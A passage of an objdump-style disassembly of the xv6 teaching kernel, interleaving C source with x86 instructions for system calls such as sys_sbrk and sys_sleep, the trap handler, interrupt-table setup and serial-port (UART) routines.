80105533: 83 ec 08 sub $0x8,%esp
return myproc()->pid;
80105536: e8 35 e2 ff ff call 80103770 <myproc>
8010553b: 8b 40 10 mov 0x10(%eax),%eax
}
8010553e: c9 leave
8010553f: c3 ret
80105540 <sys_sbrk>:
int
sys_sbrk(void)
{
80105540: 55 push %ebp
80105541: 89 e5 mov %esp,%ebp
80105543: 53 push %ebx
int addr;
int n;
if(argint(0, &n) < 0)
80105544: 8d 45 f4 lea -0xc(%ebp),%eax
return myproc()->pid;
}
int
sys_sbrk(void)
{
80105547: 83 ec 1c sub $0x1c,%esp
int addr;
int n;
if(argint(0, &n) < 0)
8010554a: 50 push %eax
8010554b: 6a 00 push $0x0
8010554d: e8 2e f2 ff ff call 80104780 <argint>
80105552: 83 c4 10 add $0x10,%esp
80105555: 85 c0 test %eax,%eax
80105557: 78 27 js 80105580 <sys_sbrk+0x40>
return -1;
addr = myproc()->sz;
80105559: e8 12 e2 ff ff call 80103770 <myproc>
if(growproc(n) < 0)
8010555e: 83 ec 0c sub $0xc,%esp
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
addr = myproc()->sz;
80105561: 8b 18 mov (%eax),%ebx
if(growproc(n) < 0)
80105563: ff 75 f4 pushl -0xc(%ebp)
80105566: e8 25 e3 ff ff call 80103890 <growproc>
8010556b: 83 c4 10 add $0x10,%esp
8010556e: 85 c0 test %eax,%eax
80105570: 78 0e js 80105580 <sys_sbrk+0x40>
return -1;
return addr;
80105572: 89 d8 mov %ebx,%eax
}
80105574: 8b 5d fc mov -0x4(%ebp),%ebx
80105577: c9 leave
80105578: c3 ret
80105579: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
{
int addr;
int n;
if(argint(0, &n) < 0)
return -1;
80105580: b8 ff ff ff ff mov $0xffffffff,%eax
80105585: eb ed jmp 80105574 <sys_sbrk+0x34>
80105587: 89 f6 mov %esi,%esi
80105589: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105590 <sys_sleep>:
return addr;
}
int
sys_sleep(void)
{
80105590: 55 push %ebp
80105591: 89 e5 mov %esp,%ebp
80105593: 53 push %ebx
int n;
uint ticks0;
if(argint(0, &n) < 0)
80105594: 8d 45 f4 lea -0xc(%ebp),%eax
return addr;
}
int
sys_sleep(void)
{
80105597: 83 ec 1c sub $0x1c,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
8010559a: 50 push %eax
8010559b: 6a 00 push $0x0
8010559d: e8 de f1 ff ff call 80104780 <argint>
801055a2: 83 c4 10 add $0x10,%esp
801055a5: 85 c0 test %eax,%eax
801055a7: 0f 88 8a 00 00 00 js 80105637 <sys_sleep+0xa7>
return -1;
acquire(&tickslock);
801055ad: 83 ec 0c sub $0xc,%esp
801055b0: 68 60 4d 11 80 push $0x80114d60
801055b5: e8 b6 ed ff ff call 80104370 <acquire>
ticks0 = ticks;
while(ticks - ticks0 < n){
801055ba: 8b 55 f4 mov -0xc(%ebp),%edx
801055bd: 83 c4 10 add $0x10,%esp
uint ticks0;
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
801055c0: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
while(ticks - ticks0 < n){
801055c6: 85 d2 test %edx,%edx
801055c8: 75 27 jne 801055f1 <sys_sleep+0x61>
801055ca: eb 54 jmp 80105620 <sys_sleep+0x90>
801055cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(myproc()->killed){
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
801055d0: 83 ec 08 sub $0x8,%esp
801055d3: 68 60 4d 11 80 push $0x80114d60
801055d8: 68 a0 55 11 80 push $0x801155a0
801055dd: e8 4e e7 ff ff call 80103d30 <sleep>
if(argint(0, &n) < 0)
return -1;
acquire(&tickslock);
ticks0 = ticks;
while(ticks - ticks0 < n){
801055e2: a1 a0 55 11 80 mov 0x801155a0,%eax
801055e7: 83 c4 10 add $0x10,%esp
801055ea: 29 d8 sub %ebx,%eax
801055ec: 3b 45 f4 cmp -0xc(%ebp),%eax
801055ef: 73 2f jae 80105620 <sys_sleep+0x90>
if(myproc()->killed){
801055f1: e8 7a e1 ff ff call 80103770 <myproc>
801055f6: 8b 40 24 mov 0x24(%eax),%eax
801055f9: 85 c0 test %eax,%eax
801055fb: 74 d3 je 801055d0 <sys_sleep+0x40>
release(&tickslock);
801055fd: 83 ec 0c sub $0xc,%esp
80105600: 68 60 4d 11 80 push $0x80114d60
80105605: e8 16 ee ff ff call 80104420 <release>
return -1;
8010560a: 83 c4 10 add $0x10,%esp
8010560d: b8 ff ff ff ff mov $0xffffffff,%eax
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
return 0;
}
80105612: 8b 5d fc mov -0x4(%ebp),%ebx
80105615: c9 leave
80105616: c3 ret
80105617: 89 f6 mov %esi,%esi
80105619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
release(&tickslock);
return -1;
}
sleep(&ticks, &tickslock);
}
release(&tickslock);
80105620: 83 ec 0c sub $0xc,%esp
80105623: 68 60 4d 11 80 push $0x80114d60
80105628: e8 f3 ed ff ff call 80104420 <release>
return 0;
8010562d: 83 c4 10 add $0x10,%esp
80105630: 31 c0 xor %eax,%eax
}
80105632: 8b 5d fc mov -0x4(%ebp),%ebx
80105635: c9 leave
80105636: c3 ret
{
int n;
uint ticks0;
if(argint(0, &n) < 0)
return -1;
80105637: b8 ff ff ff ff mov $0xffffffff,%eax
8010563c: eb d4 jmp 80105612 <sys_sleep+0x82>
8010563e: 66 90 xchg %ax,%ax
80105640 <sys_uptime>:
// return how many clock tick interrupts have occurred
// since start.
int
sys_uptime(void)
{
80105640: 55 push %ebp
80105641: 89 e5 mov %esp,%ebp
80105643: 53 push %ebx
80105644: 83 ec 10 sub $0x10,%esp
uint xticks;
acquire(&tickslock);
80105647: 68 60 4d 11 80 push $0x80114d60
8010564c: e8 1f ed ff ff call 80104370 <acquire>
xticks = ticks;
80105651: 8b 1d a0 55 11 80 mov 0x801155a0,%ebx
release(&tickslock);
80105657: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
8010565e: e8 bd ed ff ff call 80104420 <release>
return xticks;
}
80105663: 89 d8 mov %ebx,%eax
80105665: 8b 5d fc mov -0x4(%ebp),%ebx
80105668: c9 leave
80105669: c3 ret
8010566a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80105670 <sys_cps>:
//dumps ptable onto proc.dump file
int
sys_cps(void)
{
80105670: 55 push %ebp
80105671: 89 e5 mov %esp,%ebp
return cps();
}
80105673: 5d pop %ebp
//dumps ptable onto proc.dump file
int
sys_cps(void)
{
return cps();
80105674: e9 17 ea ff ff jmp 80104090 <cps>
80105679 <alltraps>:
# vectors.S sends all traps here.
.globl alltraps
alltraps:
# Build trap frame.
pushl %ds
80105679: 1e push %ds
pushl %es
8010567a: 06 push %es
pushl %fs
8010567b: 0f a0 push %fs
pushl %gs
8010567d: 0f a8 push %gs
pushal
8010567f: 60 pusha
# Set up data segments.
movw $(SEG_KDATA<<3), %ax
80105680: 66 b8 10 00 mov $0x10,%ax
movw %ax, %ds
80105684: 8e d8 mov %eax,%ds
movw %ax, %es
80105686: 8e c0 mov %eax,%es
# Call trap(tf), where tf=%esp
pushl %esp
80105688: 54 push %esp
call trap
80105689: e8 e2 00 00 00 call 80105770 <trap>
addl $4, %esp
8010568e: 83 c4 04 add $0x4,%esp
80105691 <trapret>:
# Return falls through to trapret...
.globl trapret
trapret:
popal
80105691: 61 popa
popl %gs
80105692: 0f a9 pop %gs
popl %fs
80105694: 0f a1 pop %fs
popl %es
80105696: 07 pop %es
popl %ds
80105697: 1f pop %ds
addl $0x8, %esp # trapno and errcode
80105698: 83 c4 08 add $0x8,%esp
iret
8010569b: cf iret
8010569c: 66 90 xchg %ax,%ax
8010569e: 66 90 xchg %ax,%ax
801056a0 <tvinit>:
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
801056a0: 31 c0 xor %eax,%eax
801056a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
801056a8: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx
801056af: b9 08 00 00 00 mov $0x8,%ecx
801056b4: c6 04 c5 a4 4d 11 80 movb $0x0,-0x7feeb25c(,%eax,8)
801056bb: 00
801056bc: 66 89 0c c5 a2 4d 11 mov %cx,-0x7feeb25e(,%eax,8)
801056c3: 80
801056c4: c6 04 c5 a5 4d 11 80 movb $0x8e,-0x7feeb25b(,%eax,8)
801056cb: 8e
801056cc: 66 89 14 c5 a0 4d 11 mov %dx,-0x7feeb260(,%eax,8)
801056d3: 80
801056d4: c1 ea 10 shr $0x10,%edx
801056d7: 66 89 14 c5 a6 4d 11 mov %dx,-0x7feeb25a(,%eax,8)
801056de: 80
void
tvinit(void)
{
int i;
for(i = 0; i < 256; i++)
801056df: 83 c0 01 add $0x1,%eax
801056e2: 3d 00 01 00 00 cmp $0x100,%eax
801056e7: 75 bf jne 801056a8 <tvinit+0x8>
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
801056e9: 55 push %ebp
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801056ea: ba 08 00 00 00 mov $0x8,%edx
struct spinlock tickslock;
uint ticks;
void
tvinit(void)
{
801056ef: 89 e5 mov %esp,%ebp
801056f1: 83 ec 10 sub $0x10,%esp
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
801056f4: a1 08 a1 10 80 mov 0x8010a108,%eax
initlock(&tickslock, "time");
801056f9: 68 dd 76 10 80 push $0x801076dd
801056fe: 68 60 4d 11 80 push $0x80114d60
{
int i;
for(i = 0; i < 256; i++)
SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0);
SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER);
80105703: 66 89 15 a2 4f 11 80 mov %dx,0x80114fa2
8010570a: c6 05 a4 4f 11 80 00 movb $0x0,0x80114fa4
80105711: 66 a3 a0 4f 11 80 mov %ax,0x80114fa0
80105717: c1 e8 10 shr $0x10,%eax
8010571a: c6 05 a5 4f 11 80 ef movb $0xef,0x80114fa5
80105721: 66 a3 a6 4f 11 80 mov %ax,0x80114fa6
initlock(&tickslock, "time");
80105727: e8 e4 ea ff ff call 80104210 <initlock>
}
8010572c: 83 c4 10 add $0x10,%esp
8010572f: c9 leave
80105730: c3 ret
80105731: eb 0d jmp 80105740 <idtinit>
80105733: 90 nop
80105734: 90 nop
80105735: 90 nop
80105736: 90 nop
80105737: 90 nop
80105738: 90 nop
80105739: 90 nop
8010573a: 90 nop
8010573b: 90 nop
8010573c: 90 nop
8010573d: 90 nop
8010573e: 90 nop
8010573f: 90 nop
80105740 <idtinit>:
void
idtinit(void)
{
80105740: 55 push %ebp
static inline void
lidt(struct gatedesc *p, int size)
{
volatile ushort pd[3];
pd[0] = size-1;
80105741: b8 ff 07 00 00 mov $0x7ff,%eax
80105746: 89 e5 mov %esp,%ebp
80105748: 83 ec 10 sub $0x10,%esp
8010574b: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
8010574f: b8 a0 4d 11 80 mov $0x80114da0,%eax
80105754: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80105758: c1 e8 10 shr $0x10,%eax
8010575b: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
8010575f: 8d 45 fa lea -0x6(%ebp),%eax
80105762: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105765: c9 leave
80105766: c3 ret
80105767: 89 f6 mov %esi,%esi
80105769: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105770 <trap>:
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
80105770: 55 push %ebp
80105771: 89 e5 mov %esp,%ebp
80105773: 57 push %edi
80105774: 56 push %esi
80105775: 53 push %ebx
80105776: 83 ec 1c sub $0x1c,%esp
80105779: 8b 7d 08 mov 0x8(%ebp),%edi
if(tf->trapno == T_SYSCALL){
8010577c: 8b 47 30 mov 0x30(%edi),%eax
8010577f: 83 f8 40 cmp $0x40,%eax
80105782: 0f 84 88 01 00 00 je 80105910 <trap+0x1a0>
if(myproc()->killed)
exit();
return;
}
switch(tf->trapno){
80105788: 83 e8 20 sub $0x20,%eax
8010578b: 83 f8 1f cmp $0x1f,%eax
8010578e: 77 10 ja 801057a0 <trap+0x30>
80105790: ff 24 85 84 77 10 80 jmp *-0x7fef887c(,%eax,4)
80105797: 89 f6 mov %esi,%esi
80105799: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
lapiceoi();
break;
//PAGEBREAK: 13
default:
if(myproc() == 0 || (tf->cs&3) == 0){
801057a0: e8 cb df ff ff call 80103770 <myproc>
801057a5: 85 c0 test %eax,%eax
801057a7: 0f 84 d7 01 00 00 je 80105984 <trap+0x214>
801057ad: f6 47 3c 03 testb $0x3,0x3c(%edi)
801057b1: 0f 84 cd 01 00 00 je 80105984 <trap+0x214>
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
801057b7: 0f 20 d1 mov %cr2,%ecx
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801057ba: 8b 57 38 mov 0x38(%edi),%edx
801057bd: 89 4d d8 mov %ecx,-0x28(%ebp)
801057c0: 89 55 dc mov %edx,-0x24(%ebp)
801057c3: e8 88 df ff ff call 80103750 <cpuid>
801057c8: 8b 77 34 mov 0x34(%edi),%esi
801057cb: 8b 5f 30 mov 0x30(%edi),%ebx
801057ce: 89 45 e4 mov %eax,-0x1c(%ebp)
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
801057d1: e8 9a df ff ff call 80103770 <myproc>
801057d6: 89 45 e0 mov %eax,-0x20(%ebp)
801057d9: e8 92 df ff ff call 80103770 <myproc>
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801057de: 8b 4d d8 mov -0x28(%ebp),%ecx
801057e1: 8b 55 dc mov -0x24(%ebp),%edx
801057e4: 51 push %ecx
801057e5: 52 push %edx
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
801057e6: 8b 55 e0 mov -0x20(%ebp),%edx
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801057e9: ff 75 e4 pushl -0x1c(%ebp)
801057ec: 56 push %esi
801057ed: 53 push %ebx
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
801057ee: 83 c2 6c add $0x6c,%edx
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
801057f1: 52 push %edx
801057f2: ff 70 10 pushl 0x10(%eax)
801057f5: 68 40 77 10 80 push $0x80107740
801057fa: e8 61 ae ff ff call 80100660 <cprintf>
"eip 0x%x addr 0x%x--kill proc\n",
myproc()->pid, myproc()->name, tf->trapno,
tf->err, cpuid(), tf->eip, rcr2());
myproc()->killed = 1;
801057ff: 83 c4 20 add $0x20,%esp
80105802: e8 69 df ff ff call 80103770 <myproc>
80105807: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
8010580e: 66 90 xchg %ax,%ax
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105810: e8 5b df ff ff call 80103770 <myproc>
80105815: 85 c0 test %eax,%eax
80105817: 74 0c je 80105825 <trap+0xb5>
80105819: e8 52 df ff ff call 80103770 <myproc>
8010581e: 8b 50 24 mov 0x24(%eax),%edx
80105821: 85 d2 test %edx,%edx
80105823: 75 4b jne 80105870 <trap+0x100>
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
80105825: e8 46 df ff ff call 80103770 <myproc>
8010582a: 85 c0 test %eax,%eax
8010582c: 74 0b je 80105839 <trap+0xc9>
8010582e: e8 3d df ff ff call 80103770 <myproc>
80105833: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105837: 74 4f je 80105888 <trap+0x118>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105839: e8 32 df ff ff call 80103770 <myproc>
8010583e: 85 c0 test %eax,%eax
80105840: 74 1d je 8010585f <trap+0xef>
80105842: e8 29 df ff ff call 80103770 <myproc>
80105847: 8b 40 24 mov 0x24(%eax),%eax
8010584a: 85 c0 test %eax,%eax
8010584c: 74 11 je 8010585f <trap+0xef>
8010584e: 0f b7 47 3c movzwl 0x3c(%edi),%eax
80105852: 83 e0 03 and $0x3,%eax
80105855: 66 83 f8 03 cmp $0x3,%ax
80105859: 0f 84 da 00 00 00 je 80105939 <trap+0x1c9>
exit();
}
8010585f: 8d 65 f4 lea -0xc(%ebp),%esp
80105862: 5b pop %ebx
80105863: 5e pop %esi
80105864: 5f pop %edi
80105865: 5d pop %ebp
80105866: c3 ret
80105867: 89 f6 mov %esi,%esi
80105869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
80105870: 0f b7 47 3c movzwl 0x3c(%edi),%eax
80105874: 83 e0 03 and $0x3,%eax
80105877: 66 83 f8 03 cmp $0x3,%ax
8010587b: 75 a8 jne 80105825 <trap+0xb5>
exit();
8010587d: e8 2e e3 ff ff call 80103bb0 <exit>
80105882: eb a1 jmp 80105825 <trap+0xb5>
80105884: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(myproc() && myproc()->state == RUNNING &&
80105888: 83 7f 30 20 cmpl $0x20,0x30(%edi)
8010588c: 75 ab jne 80105839 <trap+0xc9>
tf->trapno == T_IRQ0+IRQ_TIMER)
yield();
8010588e: e8 4d e4 ff ff call 80103ce0 <yield>
80105893: eb a4 jmp 80105839 <trap+0xc9>
80105895: 8d 76 00 lea 0x0(%esi),%esi
return;
}
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpuid() == 0){
80105898: e8 b3 de ff ff call 80103750 <cpuid>
8010589d: 85 c0 test %eax,%eax
8010589f: 0f 84 ab 00 00 00 je 80105950 <trap+0x1e0>
}
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE:
ideintr();
lapiceoi();
801058a5: e8 56 ce ff ff call 80102700 <lapiceoi>
break;
801058aa: e9 61 ff ff ff jmp 80105810 <trap+0xa0>
801058af: 90 nop
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
801058b0: e8 0b cd ff ff call 801025c0 <kbdintr>
lapiceoi();
801058b5: e8 46 ce ff ff call 80102700 <lapiceoi>
break;
801058ba: e9 51 ff ff ff jmp 80105810 <trap+0xa0>
801058bf: 90 nop
case T_IRQ0 + IRQ_COM1:
uartintr();
801058c0: e8 5b 02 00 00 call 80105b20 <uartintr>
lapiceoi();
801058c5: e8 36 ce ff ff call 80102700 <lapiceoi>
break;
801058ca: e9 41 ff ff ff jmp 80105810 <trap+0xa0>
801058cf: 90 nop
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
801058d0: 0f b7 5f 3c movzwl 0x3c(%edi),%ebx
801058d4: 8b 77 38 mov 0x38(%edi),%esi
801058d7: e8 74 de ff ff call 80103750 <cpuid>
801058dc: 56 push %esi
801058dd: 53 push %ebx
801058de: 50 push %eax
801058df: 68 e8 76 10 80 push $0x801076e8
801058e4: e8 77 ad ff ff call 80100660 <cprintf>
cpuid(), tf->cs, tf->eip);
lapiceoi();
801058e9: e8 12 ce ff ff call 80102700 <lapiceoi>
break;
801058ee: 83 c4 10 add $0x10,%esp
801058f1: e9 1a ff ff ff jmp 80105810 <trap+0xa0>
801058f6: 8d 76 00 lea 0x0(%esi),%esi
801058f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
release(&tickslock);
}
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE:
ideintr();
80105900: e8 3b c7 ff ff call 80102040 <ideintr>
80105905: eb 9e jmp 801058a5 <trap+0x135>
80105907: 89 f6 mov %esi,%esi
80105909: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(myproc()->killed)
80105910: e8 5b de ff ff call 80103770 <myproc>
80105915: 8b 58 24 mov 0x24(%eax),%ebx
80105918: 85 db test %ebx,%ebx
8010591a: 75 2c jne 80105948 <trap+0x1d8>
exit();
myproc()->tf = tf;
8010591c: e8 4f de ff ff call 80103770 <myproc>
80105921: 89 78 18 mov %edi,0x18(%eax)
syscall();
80105924: e8 47 ef ff ff call 80104870 <syscall>
if(myproc()->killed)
80105929: e8 42 de ff ff call 80103770 <myproc>
8010592e: 8b 48 24 mov 0x24(%eax),%ecx
80105931: 85 c9 test %ecx,%ecx
80105933: 0f 84 26 ff ff ff je 8010585f <trap+0xef>
yield();
// Check if the process has been killed since we yielded
if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER)
exit();
}
80105939: 8d 65 f4 lea -0xc(%ebp),%esp
8010593c: 5b pop %ebx
8010593d: 5e pop %esi
8010593e: 5f pop %edi
8010593f: 5d pop %ebp
if(myproc()->killed)
exit();
myproc()->tf = tf;
syscall();
if(myproc()->killed)
exit();
80105940: e9 6b e2 ff ff jmp 80103bb0 <exit>
80105945: 8d 76 00 lea 0x0(%esi),%esi
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(myproc()->killed)
exit();
80105948: e8 63 e2 ff ff call 80103bb0 <exit>
8010594d: eb cd jmp 8010591c <trap+0x1ac>
8010594f: 90 nop
}
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpuid() == 0){
acquire(&tickslock);
80105950: 83 ec 0c sub $0xc,%esp
80105953: 68 60 4d 11 80 push $0x80114d60
80105958: e8 13 ea ff ff call 80104370 <acquire>
ticks++;
wakeup(&ticks);
8010595d: c7 04 24 a0 55 11 80 movl $0x801155a0,(%esp)
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpuid() == 0){
acquire(&tickslock);
ticks++;
80105964: 83 05 a0 55 11 80 01 addl $0x1,0x801155a0
wakeup(&ticks);
8010596b: e8 70 e5 ff ff call 80103ee0 <wakeup>
release(&tickslock);
80105970: c7 04 24 60 4d 11 80 movl $0x80114d60,(%esp)
80105977: e8 a4 ea ff ff call 80104420 <release>
8010597c: 83 c4 10 add $0x10,%esp
8010597f: e9 21 ff ff ff jmp 801058a5 <trap+0x135>
80105984: 0f 20 d6 mov %cr2,%esi
//PAGEBREAK: 13
default:
if(myproc() == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
80105987: 8b 5f 38 mov 0x38(%edi),%ebx
8010598a: e8 c1 dd ff ff call 80103750 <cpuid>
8010598f: 83 ec 0c sub $0xc,%esp
80105992: 56 push %esi
80105993: 53 push %ebx
80105994: 50 push %eax
80105995: ff 77 30 pushl 0x30(%edi)
80105998: 68 0c 77 10 80 push $0x8010770c
8010599d: e8 be ac ff ff call 80100660 <cprintf>
tf->trapno, cpuid(), tf->eip, rcr2());
panic("trap");
801059a2: 83 c4 14 add $0x14,%esp
801059a5: 68 e2 76 10 80 push $0x801076e2
801059aa: e8 c1 a9 ff ff call 80100370 <panic>
801059af: 90 nop
801059b0 <uartgetc>:
}
static int
uartgetc(void)
{
if(!uart)
801059b0: a1 bc a5 10 80 mov 0x8010a5bc,%eax
outb(COM1+0, c);
}
static int
uartgetc(void)
{
801059b5: 55 push %ebp
801059b6: 89 e5 mov %esp,%ebp
if(!uart)
801059b8: 85 c0 test %eax,%eax
801059ba: 74 1c je 801059d8 <uartgetc+0x28>
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801059bc: ba fd 03 00 00 mov $0x3fd,%edx
801059c1: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
801059c2: a8 01 test $0x1,%al
801059c4: 74 12 je 801059d8 <uartgetc+0x28>
801059c6: ba f8 03 00 00 mov $0x3f8,%edx
801059cb: ec in (%dx),%al
return -1;
return inb(COM1+0);
801059cc: 0f b6 c0 movzbl %al,%eax
}
801059cf: 5d pop %ebp
801059d0: c3 ret
801059d1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
static int
uartgetc(void)
{
if(!uart)
return -1;
801059d8: b8 ff ff ff ff mov $0xffffffff,%eax
if(!(inb(COM1+5) & 0x01))
return -1;
return inb(COM1+0);
}
801059dd: 5d pop %ebp
801059de: c3 ret
801059df: 90 nop
801059e0 <uartputc.part.0>:
for(p="xv6...\n"; *p; p++)
uartputc(*p);
}
void
uartputc(int c)
801059e0: 55 push %ebp
801059e1: 89 e5 mov %esp,%ebp
801059e3: 57 push %edi
801059e4: 56 push %esi
801059e5: 53 push %ebx
801059e6: 89 c7 mov %eax,%edi
801059e8: bb 80 00 00 00 mov $0x80,%ebx
801059ed: be fd 03 00 00 mov $0x3fd,%esi
801059f2: 83 ec 0c sub $0xc,%esp
801059f5: eb 1b jmp 80105a12 <uartputc.part.0+0x32>
801059f7: 89 f6 mov %esi,%esi
801059f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
microdelay(10);
80105a00: 83 ec 0c sub $0xc,%esp
80105a03: 6a 0a push $0xa
80105a05: e8 16 cd ff ff call 80102720 <microdelay>
{
int i;
if(!uart)
return;
for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++)
80105a0a: 83 c4 10 add $0x10,%esp
80105a0d: 83 eb 01 sub $0x1,%ebx
80105a10: 74 07 je 80105a19 <uartputc.part.0+0x39>
80105a12: 89 f2 mov %esi,%edx
80105a14: ec in (%dx),%al
80105a15: a8 20 test $0x20,%al
80105a17: 74 e7 je 80105a00 <uartputc.part.0+0x20>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80105a19: ba f8 03 00 00 mov $0x3f8,%edx
80105a1e: 89 f8 mov %edi,%eax
80105a20: ee out %al,(%dx)
microdelay(10);
outb(COM1+0, c);
}
80105a21: 8d 65 f4 lea -0xc(%ebp),%esp
80105a24: 5b pop %ebx
80105a25: 5e pop %esi
80105a26: 5f pop %edi
80105a27: 5d pop %ebp
80105a28: c3 ret
80105a29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80105a30 <uartinit>:
static int uart; // is there a uart?
void
uartinit(void)
{
80105a30: 55 push %ebp
80105a31: 31 c9 xor %ecx,%ecx
80105a33: 89 c8 mov %ecx,%eax
80105a35: 89 e5 mov %esp,%ebp
80105a37: 57 push %edi
80105a38: 56 push %esi
80105a39: 53 push %ebx
80105a3a: bb fa 03 00 00 mov $0x3fa,%ebx
80105a3f: 89 da mov %ebx,%edx
80105a41: 83 ec 0c sub $0xc,%esp
80105a44: ee out %al,(%dx)
80105a45: bf fb 03 00 00 mov $0x3fb,%edi
80105a4a: b8 80 ff ff ff mov $0xffffff80,%eax
80105a4f: 89 fa mov %edi,%edx
80105a51: ee out %al,(%dx)
80105a52: b8 0c 00 00 00 mov $0xc,%eax
80105a57: ba f8 03 00 00 mov $0x3f8,%edx
80105a5c: ee out %al,(%dx)
80105a5d: be f9 03 00 00 mov $0x3f9,%esi
80105a62: 89 c8 mov %ecx,%eax
80105a64: 89 f2 mov %esi,%edx
80105a66: ee out %al,(%dx)
80105a67: b8 03 00 00 00 mov $0x3,%eax
80105a6c: 89 fa mov %edi,%edx
80105a6e: ee out %al,(%dx)
80105a6f: ba fc 03 00 00 mov $0x3fc,%edx
80105a74: 89 c8 mov %ecx,%eax
80105a76: ee out %al,(%dx)
80105a77: b8 01 00 00 00 mov $0x1,%eax
80105a7c: 89 f2 mov %esi,%edx
80105a7e: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
